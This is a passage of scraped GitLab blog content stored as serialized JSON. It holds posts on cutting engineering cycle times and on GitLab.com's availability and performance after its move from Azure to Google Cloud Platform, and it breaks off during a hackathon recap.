Engineer](/handbook/product/personas/#devon-devops-engineer)\n* [Sasha, Software Developer](/handbook/product/personas/#sasha-software-developer)\n* [Sydney, Systems Administrator](/handbook/product/personas/#sidney-systems-administrator)\n* [Sam, Security Analyst](/handbook/product/personas/#sam-security-analyst)\n\nHow does your team use personas in the design process? Connect with us [@gitlab](https://twitter.com/gitlab), and stay tuned for the next posts, where we’ll dive deep into the findings, limitations, and opportunities of each.\n\n[Photo](https://unsplash.com/photos/fgiFAtH0QBU) by [gabrielle cole](https://unsplash.com/@gabriellefaithhenderson) on Unsplash.\n{: .note}\n",[942,1444],{"slug":31811,"featured":6,"template":678},"personas-and-empathy-building","content:en-us:blog:personas-and-empathy-building.yml","Personas And Empathy Building","en-us/blog/personas-and-empathy-building.yml","en-us/blog/personas-and-empathy-building",{"_path":31817,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31818,"content":31823,"config":31827,"_id":31829,"_type":16,"title":31830,"_source":17,"_file":31831,"_stem":31832,"_extension":20},"/en-us/blog/strategies-to-reduce-cycle-times",{"title":31819,"description":31820,"ogTitle":31819,"ogDescription":31820,"noIndex":6,"ogImage":11122,"ogUrl":31821,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31821,"schema":31822},"10 strategies for cycle time reduction","Engineering leads share strategies on how to speed up cycle times.","https://about.gitlab.com/blog/strategies-to-reduce-cycle-times","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"10 strategies for cycle time reduction\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-10-12\",\n      }",{"title":31819,"description":31820,"authors":31824,"heroImage":11122,"date":31789,"body":31825,"category":734,"tags":31826},[20767],"\n\nEvery product manager appreciates shorter cycle times. One way to reduce cycle\ntimes is to learn from others, so five of our engineering leads share the greatest\nchallenges their teams have experienced and offer the strategies they developed\nto speed up iteration.\n\n>“The impact of shorter cycle times is that users can see the result of their\ninput quickly. Instead of contributing to the planning process and then waiting\nfor weeks to see the feature start to take shape, they can regularly see changes,\nmaking them happy and keeping them engaged with a team. This also helps reduce\nthe scope creep that happens when a project has been in progress for a while.” – Rachel Nienaber\n\n## What's the average cycle time for development teams?\n\nAccording to the [Accelerate State of DevOps Report](https://www.hatica.io/blog/cycle-time/#:~:text=The%20Accelerate%20State%20of%20DevOps,cycle%20time%20of%206.2%20days), the average cycle time for top-performing teams is about 2 days, with the median for most teams being about 3.5 days. However, some development teams [report their average cycle times](https://linearb.io/blog/how-to-reduce-cycle-time-in-software-delivery/) as being as much as 7 days. Teams can calculate this by evaluating how long several types of fixes take from start to finish.\n\n## What are some cycle time challenges?\n\nEvery team has processes and steps that increase cycle delivery time. A shorter and faster time to market empowers teams to fulfill customer demands and exceed their expectations. Here are a few of\nthe ones we’ve dealt with in recent past.\n\n### Getting it right the first time\n\nWhen developing new features, we want to ensure that things don’t break when it\ngets to a user. Because of our monthly release cycle, users could be stuck with\na broken feature until the following month, causing frustration and decreasing\nthe value that GitLab brings to its users. So, it’s important that we test and\nship with certainty. [Marin Jankovski](/company/team/#maxlazio), Engineering Manager of\nthe Distribution & Release Management teams, and [Sean McGivern](/company/team/#mcgivernsa),\nEngineering Manager of the Plan team, note the importance of testing and shipping features.\n\n\n>“Finding a way to test changes faster can be challenging. With the Distribution\nteam, we have the responsibility of ensuring that the release we ship still\nfunctions after we make our changes and that users can still install and use GitLab.”\n– Marin Jankovski\n\n>“Our release process is a big challenge, if you consider that the cycle ends\nonce customers have the feature available to use. We don’t have CD for\nGitLab.com, but even if we did, for self-managed customers, we only have one\nfeature release a month. So, that’s a hard limit.” – Sean McGivern\n\n### Differentiating the helpful from the unhelpful\n\nEvery workflow has components that can decrease release cycles, including code\nreviews, manual configuration and testing, and hand-offs. Some of these elements\nare necessary, like product manager meetings, but other aspects can unintentionally\ncause problems. [Tommy Morgan](/company/team/#itstommymorgan), Director of Engineering of\nDev Backend, highlights the essential measures that teams need to take to promote\ncollaboration and alignment but may increase cycle times.\n\n\n>“Teams have all these things that are slowing down cycle times, and there could\nbe extra steps or extra involvement that aren’t necessary or beneficial and that\ncould unintentionally add pressure to the team to slow down. One of the biggest\nchallenges is identifying which ones are legitimate and helpful and which ones\nare us giving into the natural urge to add process. Identifying across that fine\nline is where the real challenge comes into play for most teams.”\n\n### Working across teams\n\nCross-collaboration fosters innovative thinking and allows each team to specialize\nin a specific area to maximize contributions. While the benefits of working with\nmultiple teams are abundant, depending on another team’s feedback or assistance\nslows down development, especially when there’s a blocker that can only be resolved\nwith the help of one team. [Rachel Nienaber](/company/team/#rachel-nienaber), Engineering\nManager of the Geo team, and Marin agree that working across teams can have\nsignificant impact on cycle times.\n\n\n>“When other teams implement a new feature that needs some additional work from\nthe Distribution side, getting informed in time is extremely important. We need\nto affect the decision as early as possible, because we have certain limitations\nwhen it comes to distributing GitLab.” – Marin Jankovski\n\n>“One challenge that I see is that there are a lot of dependencies on people\nexternal to the team to ship features. Ordinarily, a quick way to shorten cycle\ntime is to reduce those dependencies, but here at GitLab, that may reduce the\namount of collaboration that happens with each feature. Collaboration is such an\nimportant [value](https://handbook.gitlab.com/handbook/values/#collaboration) that this may have to take\nprecedence in some cases and be more important than the gain in speed.” – Rachel Nienaber\n\n### Asynchronous communication\n\nAt GitLab, we practice [asynchronous communication](/handbook/communication/),\nso we “don’t expect an instantaneous response,” allowing us to focus on our\nindividual workflows. The problem with working asynchronously is that projects\ncan become delayed when working with team members in different time zones and\nresponses don’t trickle in until the following day. Rapid movement might not be\nmade on projects because of time zone differences. [Mek Stittri](/company/team/#mekdev),\nEngineering Manager of the Quality team, and Rachel acknowledge the difficulties\nthat can come with asynchronous communication.\n\n>“My team is spread across so many projects and has someone in almost every time\nzone, meaning communication can be challenging.” – Mek Stittri\n\n>“This is my first role with an asynchronous method of working. I am finding that\nmany practices that work in a synchronous team need some adjustment to be useful here.” – Rachel Nienaber\n\n## What are some solutionsb to reducing cycle times?\n\nAt GitLab, we’re fortunate to have the freedom to experiment and\n[iterate](https://handbook.gitlab.com/handbook/values/#iteration), so we’ve been able to develop a few\nstrategies to help us alleviate the challenges we face when meeting customer demands by reducing cycle times.\n\n### How to get it right the first time\n\n\u003Col start=\"1\">\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Automate work as much as possible.\u003C/b> Using CI to automatically do releases and investing time in automating\n        other manual tasks is crucial for delivery. Manual tasks are both a huge\n        drain on morale and prone to errors. It’s much easier to give engineers\n        a bug to fix in an automated tool than to ask them to do the same thing\n        multiple times.\n    \u003C/p>\n    \u003C/li>\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Work with smaller, iterative pieces.\u003C/b> Breaking work into smaller chunks,\n        \u003Ca href=\"/handbook/values/#iteration\">iterating\u003C/a> frequently, and\n        \u003Ca href=\"https://gitlab.com/gl-retrospectives/plan/issues/10\">indicating priority more clearly\u003C/a>\n        within a milestone enables better predictability for what’s going to ship.\n        Planning becomes easier, because individual issues are smaller, so it’s\n        easy to shuffle issues around if something unexpected interrupts other\n        work.\n    \u003C/p>\n    \u003C/li>\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Use feature flags.\u003C/b> Rather than using a giant merge request to make\n        every change for a feature at once, which is harder to review, update,\n        and keep up-to-date with the master branch, consider developing\n        more features behind short-lived \u003Ca href=\"https://docs.gitlab.com/ee/development/feature_flags/index.html\">feature flags\u003C/a>.\n    \u003C/p>\n    \u003C/li>\n\u003C/ol>\n\n### How to differentiate the helpful from the unhelpful\n\n\u003Col start=\"4\">\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Measure the impact of components.\u003C/b> Measuring impact can help determine\n        whether a process either doesn’t help out that much in the end or helps\n        out infrequently. In either case, the net benefit can be small, but the\n        pain it adds (in terms of how much extra time you spend trying to ship)\n        makes the overall impact negative. If you can’t measure impact directly,\n        you have to be willing to experiment. Try things, see how they work, and\n        decide if you should keep them or not. It’s important to remember that\n        experimentation doesn’t mean process creep - the default end state for\n        an experiment should be “let’s never do that again,” unless there’s a\n        strong sense of value in it.\n    \u003C/p>\n    \u003C/li>\n\u003C/ol>\n\n\n### How to successfully work across teams\n\n\u003Col start=\"5\">\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Communicate and automate where possible.\u003C/b> Automating how others get a\n        finished product before releasing it (e.g. create a package on click)\n        and \u003Ca href=\"/handbook/engineering/development/enablement/systems/distribution/#how-to-work-with-distribution\">broadly communicating\u003C/a>\n        how to work with a team can result in better decisions and faster discussions.\n    \u003C/p>\n    \u003C/li>\n\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Develop a training program.\u003C/b> Creating a training program to help engineers\n        from other teams perform reviews can reduce cycle time for those teams\n        that regularly depend on the Database team. This strategy has the added\n        benefit of giving the Database team more time to focus on their own work.\n    \u003C/p>\n    \u003C/li>\n\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Use project management tooling.\u003C/b> Consistent \u003Ca href=\"/handbook/engineering/quality/project-management/\">project management tooling\u003C/a>\n        ensures consistent board configuration that behaves the same at every level,\n        meaning that data rolls up to one top level board which contains a\n        snapshot of an entire team, ensuring that prioritization is clear and\n        workload is transparent.\n\n    \u003C/p>\n    \u003C/li>\n\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Spread triaging.\u003C/b> To spread the load of triaging across teams, use \u003Ca href=\"https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name[]=triage-package\">triage-package\u003C/a>.\n        Here is a \u003Ca href=\"https://gitlab.com/gitlab-org/gitlab-ce/issues/52024\">recent example\u003C/a>\n        of how we used triage-package to lessen the burden on one team.\n\n    \u003C/p>\n    \u003C/li>\n\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Have more focused milestones.\u003C/b> Creating focused milestones can reduce\n        context switching, since team members can concentrate on specific aspects\n        of a feature.\n    \u003C/p>\n    \u003C/li>\n\u003C/ol>\n\n### How to make asynchronous communication work\n\n\u003Col start=\"10\">\n    \u003Cli>\n    \u003Cp>\n        \u003Cb>Work on multiple items.\u003C/b> Having a list of multiple items to work on\n        during each release cycle helps team members easily transition to another\n        task rather than remaining blocked when waiting for feedback.\n    \u003C/p>\n    \u003C/li>\n\u003C/ol>\n\n## Advice\n\nReducing cycle times to meet internal cycle time goals can be a difficult undertaking, requiring the input from\nproduct managers, engineering leads, and developers. It’s a hard task to\nchallenge long-practiced behaviors, especially when the worst case scenario could\nmean features don’t make a release. Here is some advice to help your team's cycle time reduction effort.\n\n### Be thoughtful and considerate\n\n“At GitLab, we want to iterate quickly, but we also want to keep GitLab.com fast\nand stable. That means that we can’t just decide to ship things faster, we need\nto come up with strategies to mitigate any risks to performance and availability,\nbuild tooling and processes around those strategies. This is often work that can\ngo underappreciated, and it can be hard at times, but it’s vital to ensuring\nthat you can safely shorten cycle times.” – Sean McGivern\n\n### Retrospectives for learning\n\n“A successful team is a happy team. Bringing down production cycle time can help a team be\nmore successful because they are shipping value more often, but your team might\nhave more important things that must be addressed first. Using retrospectives\nwill help you to figure out what success means to your team, and what needs to\nbe done to achieve that success.” – Rachel Nienaber\n\n### Experiment\n\n“Make yourself uncomfortable. It’s unnatural to push for shorter cycle time.\nIt’s natural to add steps - it’s not natural to remove them. Try drastic cuts\nand be willing to learn from an experiment.” – Tommy Morgan\n\n### Spotlight your team\n\n“You can’t make product managers happy, so try to make your team happy instead\nby giving them a chance to shine. :P” – Marin Jankovski\n\n",[1444,2368],{"slug":31828,"featured":6,"template":678},"strategies-to-reduce-cycle-times","content:en-us:blog:strategies-to-reduce-cycle-times.yml","Strategies To Reduce Cycle Times","en-us/blog/strategies-to-reduce-cycle-times.yml","en-us/blog/strategies-to-reduce-cycle-times",{"_path":31834,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31835,"content":31840,"config":31845,"_id":31847,"_type":16,"title":31848,"_source":17,"_file":31849,"_stem":31850,"_extension":20},"/en-us/blog/gitlab-com-stability-post-gcp-migration",{"title":31836,"description":31837,"ogTitle":31836,"ogDescription":31837,"noIndex":6,"ogImage":29611,"ogUrl":31838,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31838,"schema":31839},"What's up with GitLab.com? Check out the latest data on its stability","Let's take a look at the data on the stability of GitLab.com from before and after our recent migration from Azure to GCP, and dive into why things are looking up.","https://about.gitlab.com/blog/gitlab-com-stability-post-gcp-migration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What's up with GitLab.com? Check out the latest data on its stability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Newdigate\"}],\n        \"datePublished\": \"2018-10-11\",\n      }",{"title":31836,"description":31837,"authors":31841,"heroImage":29611,"date":31842,"body":31843,"category":734,"tags":31844},[9050],"2018-10-11","\nThis post is inspired by [this comment on Reddit](https://www.reddit.com/r/gitlab/comments/9f71nq/thanks_gitlab_team_for_improving_the_stability_of/),\nthanking us for improving the stability of GitLab.com. Thanks, hardwaresofton! Making GitLab.com\nready for your mission-critical workloads has been top of mind for us for some time, and it's\ngreat to hear that users are noticing a difference.\n\n_Please note that the numbers in this post differ slightly from the Reddit post as the data has changed since that post._\n\nWe will continue to work hard on improving the availability and stability of the platform. Our\ncurrent goal is to achieve 99.95 percent availability on GitLab.com – look out for an upcoming\npost about how we're planning to get there.\n\n## GitLab.com stability before and after the migration\n\nAccording to [Pingdom](http://stats.pingdom.com/81vpf8jyr1h9), GitLab.com's availability for the year to date, up until the migration was **[99.68 percent](https://docs.google.com/spreadsheets/d/1uJ_zacNvJTsvJUfNpi1D_aPBg-vNJC1xJzsSwGKKt8g/edit#gid=527563485&range=F2)**, which equates to about 32 minutes of downtime per week on average.\n\nSince the migration, our availability has improved greatly, although we have much less data to compare with than in Azure.\n\n![Availability Chart](https://docs.google.com/spreadsheets/d/e/2PACX-1vQg_tdtdZYoC870W3u2R2icSK0Rd9qoOtDJqYHALaQlzhxXOmfY63X1NMMyFVEypQs7NngR4UUIZx5R/pubchart?oid=458170195&format=image)\n\nUsing data publicly available from Pingdom, here are some stats about our availability for the year to date:\n\n| Period                                 | Mean-time between outage events |\n| -------------------------------------- | ------------------------------- |\n| Pre-migration (Azure)                  | **1.3 days**                    |\n| Post-migration (GCP)                   | **7.3 days**                    |\n| Post-migration (GCP) excluding 1st day | **12 days**                     |\n\nThis is great news: we're experiencing outages less frequently. What does this mean for our availability, and are we on track to achieve our goal of 99.95 percent?\n\n| Period                    | Availability                                                                                                                   | Downtime per week |\n| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | ----------------- |\n| Pre-migration (Azure)     | **[99.68%](https://docs.google.com/spreadsheets/d/1uJ_zacNvJTsvJUfNpi1D_aPBg-vNJC1xJzsSwGKKt8g/edit#gid=527563485&range=F2)**  | **32 minutes**    |\n| Post-migration (GCP)      | **[99.88 %](https://docs.google.com/spreadsheets/d/1uJ_zacNvJTsvJUfNpi1D_aPBg-vNJC1xJzsSwGKKt8g/edit#gid=527563485&range=B3)** | **13 minutes**    |\n| Target – not yet achieved | **99.95%**                                                                                                                     | **5 minutes**     |\n\nDropping from 32 minutes per week average downtime to 13 minutes per week means we've experienced a **61 percent improvement** in our availability following our migration to Google Cloud Platform.\n\n## Performance\n\nWhat about the performance of GitLab.com since the migration?\n\nPerformance can be tricky to measure. In particular, averages are a terrible way of measuring performance, since they neglect outlying values. One of the better ways to measure performance is with a latency histogram chart. To do this, we imported the GitLab.com access logs for July (for Azure) and September (for Google Cloud Platform) into [Google BigQuery](https://cloud.google.com/bigquery/), then selected the 100 most popular endpoints for each month and categorised these as either API, web, git, long-polling, or static endpoints. Comparing these histograms side-by-side allows us to study how the performance of GitLab.com has changed since the migration.\n\n![GitLab.com Latency Histogram](https://about.gitlab.com/images/blogimages/whats-up-with-gitlab-com/azure_v_gcp_latencies.gif)\n\nIn this histogram, higher values on the left indicate better performance. The right of the graph is the \"_tail_\", and the \"_fatter the tail_\", the worse the user experience.\n\nThis graph shows us that with the move to GCP, more requests are completing within a satisfactory amount of time.\n\nHere's two more graphs showing the difference for API and Git requests respectively.\n\n![API Latency Histogram](https://about.gitlab.com/images/blogimages/whats-up-with-gitlab-com/api-performance-histogram.png)\n\n![Git Latency Histogram](https://about.gitlab.com/images/blogimages/whats-up-with-gitlab-com/git-performance-histogram.png)\n\n## Why these improvements?\n\nWe chose Google Cloud Platform because we believe that Google offer the most reliable cloud platform for our workload, particularly as we move towards running GitLab.com in [Kubernetes](/solutions/kubernetes/).\n\nHowever, there are many other reasons unrelated to our change in cloud provider for these improvements to stability and performance.\n\n> #### _“We chose Google Cloud Platform because we believe that Google offer the most reliable cloud platform for our workload”_\n\nLike any large SaaS site, GitLab.com is a large, complicated system, and attributing availability changes to individual changes is extremely difficult, but here are a few factors which may be effecting our availability and performance:\n\n### Reason #1: Our Gitaly Fleet on GCP is much more powerful than before\n\nGitaly is responsible for all Git access in the GitLab application. Before Gitaly, Git access occurred directly from within Rails workers. Because of the scale we run at, we require many servers serving the web application, and therefore, in order to share git data between all workers, we relied on NFS volumes. Unfortunately this approach doesn't scale well, which led to us building Gitaly, a dedicated Git service.\n\n> #### _“We've opted to give our fleet of 24 Gitaly servers a serious upgrade”_\n\n#### Our upgraded Gitaly fleet\n\nAs part of the migration, we've opted to give our fleet of 24 [Gitaly](/blog/the-road-to-gitaly-1-0/) servers a serious upgrade. If the old fleet was the equivalent of a nice family sedan, the new fleet are like a pack of snarling musclecars, ready to serve your Git objects.\n\n| Environment | Processor                       | Number of cores per instance | RAM per instance |\n| ----------- | ------------------------------- | ---------------------------- | ---------------- |\n| Azure       | Intel Xeon Ivy Bridge @ 2.40GHz | 8                            | 55GB             |\n| GCP         | Intel Xeon Haswell @ 2.30GHz    | **32**                       | **118GB**        |\n\nOur new Gitaly fleet is much more powerful. This means that Gitaly can respond to requests more quickly, and deal better with unexpected traffic surges.\n\n#### IO performance\n\nAs you can probably imagine, serving [225TB of Git data](https://dashboards.gitlab.com/d/ZwfWfY2iz/vanity-metrics-dashboard?orgId=1) to roughly half-a-million active users a week is a fairly IO-heavy operation. Any performance improvements we can make to this will have a big impact on the overall performance of GitLab.com.\n\nFor this reason, we've focused on improving performance here too.\n\n| Environment | RAID         | Volumes | Media    | filesystem | Performance                                                            |\n| ----------- | ------------ | ------- | -------- | ---------- | ---------------------------------------------------------------------- |\n| Azure       | RAID 5 (lvm) | 16      | magnetic | xfs        | 5k IOPS, 200MB/s (_per disk_) / 32k IOPS **1280MB/s** (_volume group_) |\n| GCP         | No raid      | 1       | **SSD**  | ext4       | **60k read IOPs**, 30k write IOPs, 800MB/s read 200MB/s write          |\n\nHow does this translate into real-world performance? Here are average read and write times across our Gitaly fleet:\n\n##### IO performance is much higher\n\nHere are some comparative figures for our Gitaly fleet from Azure and GCP. In each case, the performance in GCP is much better than in Azure, although this is what we would expect given the more powerful fleet.\n\n[![Disk read time graph](https://docs.google.com/spreadsheets/d/e/2PACX-1vQg_tdtdZYoC870W3u2R2icSK0Rd9qoOtDJqYHALaQlzhxXOmfY63X1NMMyFVEypQs7NngR4UUIZx5R/pubchart?oid=458168633&format=image)](https://docs.google.com/spreadsheets/d/1uJ_zacNvJTsvJUfNpi1D_aPBg-vNJC1xJzsSwGKKt8g/edit#gid=1002437172) [![Disk write time graph](https://docs.google.com/spreadsheets/d/e/2PACX-1vQg_tdtdZYoC870W3u2R2icSK0Rd9qoOtDJqYHALaQlzhxXOmfY63X1NMMyFVEypQs7NngR4UUIZx5R/pubchart?oid=884528549&format=image)](https://docs.google.com/spreadsheets/d/1uJ_zacNvJTsvJUfNpi1D_aPBg-vNJC1xJzsSwGKKt8g/edit#gid=1002437172) [![Disk Queue length graph](https://docs.google.com/spreadsheets/d/e/2PACX-1vQg_tdtdZYoC870W3u2R2icSK0Rd9qoOtDJqYHALaQlzhxXOmfY63X1NMMyFVEypQs7NngR4UUIZx5R/pubchart?oid=2135164979&format=image)](https://docs.google.com/spreadsheets/d/1uJ_zacNvJTsvJUfNpi1D_aPBg-vNJC1xJzsSwGKKt8g/edit#gid=1002437172)\n\nNote: For reference: for Azure, this uses the average times for the week leading up to the failover. For GCP, it's an average for the week up to October 2, 2018.\n\nThese stats clearly illustrate that our new fleet has far better IO performance than our old cluster. Gitaly performance is highly dependent on IO performance, so this is great news and goes a long way to explaining the performance improvements we're seeing.\n\n### Reason #2: Fewer \"unicorn worker saturation\" errors\n\n![HTTP 503 Status GitLab](https://about.gitlab.com/images/blogimages/whats-up-with-gitlab-com/facepalm-503.png)\n\nUnicorn worker saturation sounds like it'd be a good thing, but it's really not!\n\nWe ([currently](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/1899)) rely on [unicorn](https://bogomips.org/unicorn/), a Ruby/Rack http server, for serving much of the application. Unicorn uses a single-threaded model, which uses a fixed pool of workers processes. Each worker can handle only one request at a time. If the worker gives no response within 60 seconds, it is terminated and another process is spawned to replace it.\n\n> #### _“Unicorn worker saturation sounds like it'd be a good thing, but it's really not!”_\n\nAdd to this the lack of autoscaling technologies to ramp the fleet up when we experience high load volumes, and this means that GitLab.com has a relatively static-sized pool of workers to handle incoming requests.\n\nIf a Gitaly server experiences load problems, even fast [RPCs](https://en.wikipedia.org/wiki/Remote_procedure_call) that would normally only take milliseconds, could take up to several seconds to respond – thousands of times slower than usual. Requests to the unicorn fleet that communicate with the slow server will take hundreds of times longer than expected. Eventually, most of the fleet is handling requests to that affected backend server. This leads to a queue which affects all incoming traffic, a bit like a tailback on a busy highway caused by a traffic jam on a single offramp.\n\nIf the request gets queued for too long – after about 60 seconds – the request will be cancelled, leading to a 503 error. This is indiscriminate – all requests, whether they interact with the affected server or not, will get cancelled. This is what I call unicorn worker saturation, and it's a very bad thing.\n\nBetween February and August this year we frequently experienced this phenomenon.\n\nThere are several approaches we've taken to dealing with this:\n\n- **Fail fast with aggressive timeouts and circuitbreakers**: Timeouts mean that when a Gitaly request is expected to take a few milliseconds, they time out after a second, rather than waiting for the request to time out after 60 seconds. While some requests will still be affected, the cluster will remain generally healthy. Gitaly currently doesn't use circuitbreakers, but we plan to add this, possibly using [Istio](https://istio.io/docs/tasks/traffic-management/circuit-breaking/) once we've moved to Kubernetes.\n\n- **Better abuse detection and limits**: More often than not, server load spikes are driven by users going against our fair usage policies. We built tools to better detect this and over the past few months, an abuse team has been established to deal with this. Sometimes, load is driven through huge repositories, and we're working on reinstating fair-usage limits which prevent 100GB Git repositories from affecting our entire fleet.\n\n- **Concurrency controls and rate limits**: For limiting the blast radius, rate limiters (mostly in HAProxy) and concurrency limiters (in Gitaly) slow overzealous users down to protect the fleet as a whole.\n\n### Reason #3: GitLab.com no longer uses NFS for any Git access\n\nIn early September we disabled Git NFS mounts across our worker fleet. This was possible because Gitaly had reached v1.0: the point at which it's sufficiently complete. You can read more about how we got to this stage in our [Road to Gitaly blog post](/blog/the-road-to-gitaly-1-0/).\n\n### Reason #4: Migration as a chance to reduce debt\n\nThe migration was a fantastic opportunity for us to improve our infrastructure, simplify some components, and otherwise make GitLab.com more stable and more observable, for example, we've rolled out new **structured logging infrastructure**.\n\nAs part of the migration, we took the opportunity to move much of our logging across to structured logs. We use [fluentd](https://www.fluentd.org/), [Google Pub/Sub](https://cloud.google.com/pubsub/docs/overview), [Pubsubbeat](https://github.com/GoogleCloudPlatform/pubsubbeat), storing our logs in [Elastic Cloud](https://www.elastic.co/cloud) and [Google Stackdriver Logging](https://cloud.google.com/logging/). Having reliable, indexed logs has allowed us to reduce our mean-time to detection of incidents, and in particular detect abuse. This new logging infrastructure has also been invaluable in detecting and resolving several security incidents.\n\n> #### _“This new logging infrastructure has also been invaluable in detecting and resolving several security incidents”_\n\nWe've also focused on making our staging environment much more similar to our production environment. This allows us to test more changes, more accurately, in staging before rolling them out to production. Previously the team was maintaining\na limited scaled-down staging environment and many changes were not adequately tested before being rolled out. Our environments now share a common configuration and we're working to automate all [terraform](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/5079) and [chef](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/5078) rollouts.\n\n### Reason #5: Process changes\n\nUnfortunately many of the worst outages we've experienced over the past few years have been self-inflicted. We've always been transparent about these — and will continue to be so — but as we rapidly grow, it's important that our processes scale alongside our systems and team.\n\n> #### _“It's important that our processes scale alongside our systems and team”_\n\nIn order to address this, over the past few months, we've formalized our change and incident management processes. These processes respectively help us to avoid outages and resolve them quicker when they do occur.\n\nIf you're interested in finding out more about the approach we've taken to these two vital disciplines, they're published in our handbook:\n\n- [GitLab.com's Change Management Process](/handbook/engineering/infrastructure/change-management/)\n- [GitLab.com's Incident Management Process](/handbook/engineering/infrastructure/incident-management/)\n\n### Reason #6: Application improvement\n\nEvery GitLab release includes [performance and stability improvements](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&state=opened&label_name%5B%5D=performance); some of these have had a big impact on GitLab's stability and performance, particularly n+1 issues.\n\nTake Gitaly for example: like other distributed systems, Gitaly can suffer from a class of performance degradations known as \"n+1\" problems. This happens when an endpoint needs to make many queries (_\"n\"_) to fulfill a single request.\n\n> Consider an imaginary endpoint which queried Gitaly for all tags on a repository, and then issued an additional query for each tag to obtain more information. This would result in n + 1 Gitaly queries: one for the initial tag, and then n for the tags. This approach would work fine for a project with 10 tags – issuing 11 requests, but a project with 1000 tags, this would result in 1001 Gitaly calls, each with a round-trip time, and issued in sequence.\n\n![Latency drop in Gitaly endpoints](https://about.gitlab.com../../images/blogimages/whats-up-with-gitlab-com/drop-off.png)\n\nUsing data from Pingdom, this chart shows long-term performance trends since the start of the year. It's clear that latency improved a great deal on May 7, 2018. This date happens to coincide with the RC1 release of GitLab 10.8, and its deployment on GitLab.com.\n\nIt turns out that this was due to a [single fix on n+1 on the merge request page being resolved](https://gitlab.com/gitlab-org/gitlab-ce/issues/44052).\n\nWhen running in development or test mode, GitLab now detects n+1 situations and we have compiled [a list of known n+1s](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=performance&label_name[]=Gitaly&label_name[]=technical%20debt). As these are resolved we expect even more performance improvements.\n\n![GitLab Summit - South Africa - 2018](https://about.gitlab.com/images/summits/2018_south-africa_team.jpg)\n\n### Reason #7: Infrastructure team growth and reorganization\n\nAt the start of May 2018, the Infrastructure team responsible for GitLab.com consisted of five engineers.\n\nSince then, we've had a new director join the Infrastructure team, two new managers, a specialist [Postgres DBRE](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/13778), and four new [SREs](https://handbook.gitlab.com/job-families/engineering/infrastructure/site-reliability-engineer/). The database team has been reorganized to be an embedded part of infrastructure group. We've also brought in [Ongres](https://www.ongres.com/), a specialist Postgres consultancy, to work alongside the team.\n\nHaving enough people in the team has allowed us to be able to split time between on-call, tactical improvements, and longer-term strategic work.\n\nOh, and we're still hiring! If you're interested, check out [our open positions](/jobs/) and choose the Infrastructure Team 😀\n\n## TL;DR: Conclusion\n\n1. GitLab.com is more stable: availability has improved 61 percent since we migrated to GCP\n1. GitLab.com is faster: latency has improved since the migration\n1. We are totally focused on continuing these improvements, and we're building a great team to do it\n\nOne last thing: our Grafana dashboards are open, so if you're interested in digging into our metrics in more detail, visit [dashboards.gitlab.com](https://dashboards.gitlab.com) and explore!\n",[3049,923,676,2509,736,1268],{"slug":31846,"featured":6,"template":678},"gitlab-com-stability-post-gcp-migration","content:en-us:blog:gitlab-com-stability-post-gcp-migration.yml","Gitlab Com Stability Post Gcp Migration","en-us/blog/gitlab-com-stability-post-gcp-migration.yml","en-us/blog/gitlab-com-stability-post-gcp-migration",{"_path":31852,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":31853,"content":31858,"config":31863,"_id":31865,"_type":16,"title":31866,"_source":17,"_file":31867,"_stem":31868,"_extension":20},"/en-us/blog/hackathon-recap",{"title":31854,"description":31855,"ogTitle":31854,"ogDescription":31855,"noIndex":6,"ogImage":19778,"ogUrl":31856,"ogSiteName":1180,"ogType":1181,"canonicalUrls":31856,"schema":31857},"Recapping the first GitLab Hackathon","What we accomplished and learned from the Hackathon on September 27-28.","https://about.gitlab.com/blog/hackathon-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Recapping the first GitLab Hackathon\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-10-09\",\n      }",{"title":31854,"description":31855,"authors":31859,"heroImage":19778,"date":31860,"body":31861,"category":813,"tags":31862},[21623],"2018-10-09","\n\nWhen we wrapped up our first Hackathon on September 28th, I was impressed both\nwith the energy from participants (including many first-time contributors) and\nwhat the GitLab community accomplished over two days.\n\n## So what did we accomplish?\n\nOne of the key goals of the event was to encourage community members to contribute\nMerge Requests (MRs), and the community delivered more than 20 MRs, with 15 of\nthem merged as of October 8th. You can see the list of MRs at the\n[Hackathon Community MRs page](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/issues/4).\nThis is pretty impressive when you consider that community members had a less than\n2-weeks notice for the event.\n\n## What else happened during the event?\n\nIn addition to hacking, we had several community experts deliver tutorial\nsessions on topics ranging from\n[GitLab Development Kit](https://www.youtube.com/watch?v=gxn-0KSfNaU),\n[documentation](https://www.youtube.com/watch?v=8GT2XOkpSi4&feature=youtu.be),\n[internationalization/translation](https://www.youtube.com/watch?v=LJ9oSSx0qyY&feature=youtu.be),\n[UX design](https://www.youtube.com/watch?v=q_nq5OCiktE&feature=youtu.be), and\n[Merge Request Coaches](https://www.youtube.com/watch?v=daCFv9tAQXw&feature=youtu.be).\nRecordings/slides from all the sessions can also be found on 